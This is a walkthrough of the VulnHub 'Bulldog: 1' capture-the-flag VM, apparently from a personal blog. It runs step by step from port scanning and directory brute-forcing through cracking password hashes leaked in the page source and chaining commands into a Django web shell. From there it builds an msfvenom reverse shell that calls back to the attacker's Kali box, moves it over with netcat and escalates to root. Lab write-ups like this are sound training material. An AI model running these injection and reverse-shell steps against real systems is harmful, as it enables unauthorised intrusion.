CTF Walkthrough: Bulldog: 1

Another one brought to you by the fine folks at VulnHub!

Objective here is to get root and read the file in the /root directory.

3…

2…

1…

nmap!

root@kali:~# nmap -sV -T4 10.13.37.234 -p-

Starting Nmap 7.60 ( https://nmap.org ) at 2017-11-07 21:10 EST
Nmap scan report for 10.13.37.234
Host is up (0.00047s latency).

PORT     STATE    SERVICE    VERSION
23/tcp   open     ssh        OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
80/tcp   open     http       WSGIServer 0.1 (Python 2.7.12)
8080/tcp filtered http-proxy
MAC Address: 08:00:27:16:1D:5F (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.15 seconds

Nothing interesting on ports 80 and 8080 when viewed in the browser, EXCEPT THE MOST FEROCIOUS LOOKING BULLDOG EVAR!!!

root@kali:~# gobuster -u http://10.13.37.234 -w /usr/share/wordlists/dirb/big.txt 

Gobuster v1.2                OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://10.13.37.234/
[+] Threads      : 10
[+] Wordlist     : /usr/share/wordlists/dirb/big.txt
[+] Status codes : 200,204,301,302,307
=====================================================
/admin (Status: 301)
/dev (Status: 301)
/notice (Status: 301)
/robots.txt (Status: 200)
=====================================================

Browser /admin/ takes us to a django admin login page. Noted.

Browser /dev/ gives us a page with some information on how the site was hacked before and where things might currently stand. A lot of roll your own software going on here, guess nobody told them that that’s usually a bad idea for security… Oh well, I’m not here to lecture them, so let’ move on.

There’s also a link to “http://10.13.37.234/dev/shell/”, which is asking to authenticate with the server first before being able to use it. But the source of the http://10.13.37.234/dev/ page gives up a little more information.

<boring stuff removed>
<!--Need these password hashes for testing. Django's default is too complex-->
<!--We'll remove these in prod. It's not like a hacker can do anything with a hash-->
Team Lead: alan@bulldogindustries.com
<!--6515229daf8dbdc8b89fed2e60f107433da5f2cb-->
Back-up Team Lead: william@bulldogindustries.com

<!--38882f3b81f8f2bc47d9f3119155b05f954892fb-->
Front End: malik@bulldogindustries.com
<!--c6f7e34d5d08ba4a40dd5627508ccb55b425e279-->
Front End: kevin@bulldogindustries.com

<!--0e6ae9fe8af1cd4192865ac97ebf6bda414218a9-->
Back End: ashley@bulldogindustries.com
<!--553d917a396414ab99785694afd51df3a8a8a3e0-->
Back End: nick@bulldogindustries.com

<!--ddf45997a7e18a25ad5f5cf222da64814dd060d5-->
Database: sarah@bulldogindustries.com
<!--d8b8dd5e7f000b8dea26ef8428caf38c04466b3e-->
<more boring stuff removed>

Yeah, it’s a good thing hashes are uncrackable… So let’s save these (and the user names) to a text file. And then crack them.

alan:6515229daf8dbdc8b89fed2e60f107433da5f2cb
william:38882f3b81f8f2bc47d9f3119155b05f954892fb
malik:c6f7e34d5d08ba4a40dd5627508ccb55b425e279
kevin:0e6ae9fe8af1cd4192865ac97ebf6bda414218a9
ashley:553d917a396414ab99785694afd51df3a8a8a3e0
nick:ddf45997a7e18a25ad5f5cf222da64814dd060d5
sarah:d8b8dd5e7f000b8dea26ef8428caf38c04466b3e
root@kali:~/CTF/Bulldog# john --show --format=raw-sha1 users.txt 
nick:bulldog

1 password hash cracked, 6 left

Nice! Okay, let’s try ssh (remember nmap showed it running on port 23).

root@kali:~# ssh nick@10.13.37.234 -p 23
nick@10.13.37.234's password: 
Permission denied, please try again.

Nope. Okay, only other place I’ve seen a login so far was the django admin page.

Which works, but gives us nothing obvious. No permissions to do anything with django. But… we did just authenticate with the server. So let’s go back to the web shell thing. I’m sure that will lead nowhere because it’s perfectly secure with no vulnerabilities, but let’s check anyway to be sure.</sarcasm>

Got a few commands available to us by default, and “ls /root” throws a 500 error, but it looks like using an ampersand will let us chain commands together and use some that aren’t allowed by default.

Command : ls & date

Wed Nov  8 12:11:59 UTC 2017
bulldog
db.sqlite3
manage.py

After poking around for a few minutes, I found the following directories and files under /home:

/home/
├── bulldogadmin
│   ├── .bash_logout
│   ├── .bashrc
│   ├── .cache
│   │   └── motd.legal-displayed
│   ├── .hiddenadmindirectory
│   │   ├── customPermissionApp
│   │   └── note
│   ├── .nano
│   ├── .profile
│   ├── .selected_editor
│   ├── .sudo_as_admin_successful
│   └── .wget-hsts
└── django
    ├── .bash_logout
    ├── .bashrc
    ├── bulldog
    │   ├── bulldog
    │   │   ├── __init__.py
    │   │   ├── __init__.pyc
    │   │   ├── settings.py
    │   │   ├── settings.pyc
    │   │   ├── static
    │   │   │   ├── bulldog.jpg
    │   │   │   ├── css
    │   │   │   │   ├── bootstrap.css
    │   │   │   │   ├── bootstrap.css.map
    │   │   │   │   ├── bootstrap-grid.css
    │   │   │   │   ├── bootstrap-grid.css.map
    │   │   │   │   ├── bootstrap-grid.min.css
    │   │   │   │   ├── bootstrap-grid.min.css.map
    │   │   │   │   ├── bootstrap.min.css
    │   │   │   │   ├── bootstrap.min.css.map
    │   │   │   │   ├── bootstrap-reboot.css
    │   │   │   │   ├── bootstrap-reboot.css.map
    │   │   │   │   ├── bootstrap-reboot.min.css
    │   │   │   │   └── bootstrap-reboot.min.css.map
    │   │   │   └── js
    │   │   │       ├── bootstrap.js
    │   │   │       ├── bootstrap.min.js
    │   │   │       └── jquery.min.js
    │   │   ├── templates
    │   │   │   ├── dev.html
    │   │   │   ├── index.html
    │   │   │   ├── notice.html
    │   │   │   ├── robots.txt
    │   │   │   └── shell.html
    │   │   ├── urls.py
    │   │   ├── urls.pyc
    │   │   ├── views.py
    │   │   ├── views.pyc
    │   │   ├── wsgi.py
    │   │   └── wsgi.pyc
    │   ├── db.sqlite3
    │   └── manage.py
    ├── .cache
    │   └── motd.legal-displayed
    ├── .nano
    ├── .profile
    ├── .ssh
    │   └── known_hosts
    ├── .sudo_as_admin_successful
    ├── .viminfo
    └── .wget-hsts

The bulldogadmin home directory looks promising, especially the .hiddenadmindirectory directory.

Command : echo '' & cp /home/bulldogadmin/.hiddenadmindirectory/customPermissionApp . && chmod 777 customPermissionApp && ./customPermissionApp


Please enter a valid username to use root privileges
	Usage: ./customPermissionApp <username>

HINT: Passing it any user names appears to do nothing.

I poked around for a while and tried a few different things, but I think where we need to go here is to open a reverse shell that points back to our Kali box. I tried a few one liners with bash and netcat and I was getting nowhere, but it looks like I can have netcat listen at least, so I should be able to send an executable to run for the reverse shell. (Hindsight being 20/20, you could also pull one with wget, which might be a little easier, but it’s the same concept, and using netcat is better for the geek cred anyway.)

So generate the reverse shell using msfvenom.

root@kali:~/CTF/Bulldog# msfvenom --platform linux -p linux/x86/shell_reverse_tcp LPORT=65333 LHOST=10.13.37.237 -f elf -o rshell
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 68 bytes
Final size of elf file: 152 bytes
Saved as: rshell

Now start listening in the “Web Shell” and dump the output to an “rshell” file.

Command : echo '' & nc -lp 65333 > rshell

Shove the created rshell executable over to the bulldog VM that is now listening, and then start up a listener for when we execute the reverse shell on the target machine.

root@kali:~/CTF/Bulldog# nc -nvv 10.13.37.234 65333 < rshell
(UNKNOWN) [10.13.37.234] 65333 (?) open
 sent 152, rcvd 0
root@kali:~/CTF/Bulldog# nc -lp 65333

Now back in the web shell make the file executable and run it.

echo '' & chmod 777 rshell && ./rshell

And now we have a remote shell back on Kali! Checking “id” shows we’re the django user, as expected, and that we’re part of the sudo group, but we’re unable to run sudo without being in a proper shell (and we don’t have a password yet anyway).

id    
uid=1001(django) gid=1001(django) groups=1001(django),27(sudo)
sudo su -
sudo: no tty present and no askpass program specified

Since I need a proper shell, and I see that Python is installed, why not start one in a Python process? (I am a Python developer, so this one feels pretty good).

which python
/usr/bin/python
python -c 'import pty; pty.spawn("/bin/bash")'
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

django@bulldog:/home/django/bulldog$ 

Now we need to get to root, but we don’t have a password yet. Searching through the filesystem (where we have permissions) doesn’t tell us much, but dude was working on this customPermissionApp thing, maybe he left some clue in there for us.

django@bulldog:/home/django/bulldog$ strings customPermissionApp
strings customPermissionApp
<blah blah blah>
SUPERultH
imatePASH
SWORDyouH
CANTget
<removed other stuff, run it yourself if you want to see the rest!>

Uhhh, SUPERultimatePASSWORDyouCANTget, maybe YOU can’t get it, but I think I just did. I’m guessing this is the root password, so let’s do that.

django@bulldog:/home/django/bulldog$ su -
su -
Password: SUPERultimatePASSWORDyouCANTget

su: Authentication failure
django@bulldog:/home/django/bulldog$ sudo su -
sudo su -
[sudo] password for django: SUPERultimatePASSWORDyouCANTget

root@bulldog:~# 

What?! (Interobang, my wife taught me that, love it)

As I was saying, WHAT?! Why would you put the password for a standard user in that program? I would think you would want the root password if anything… Just kidding, I don’t care. We have root.

root@bulldog:~# ls /root/
ls /root/
congrats.txt
root@bulldog:~# cat congrats.txt
cat congrats.txt
Congratulations on completing this VM :D That wasn't so bad was it?

Let me know what you thought on twitter, I'm @frichette_n

As far as I know there are two ways to get root. Can you find the other one?

Perhaps the sequel will be more challenging. Until next time, I hope you enjoyed!

Thanks, but this one was challenging enough for now. Is my coffee done yet?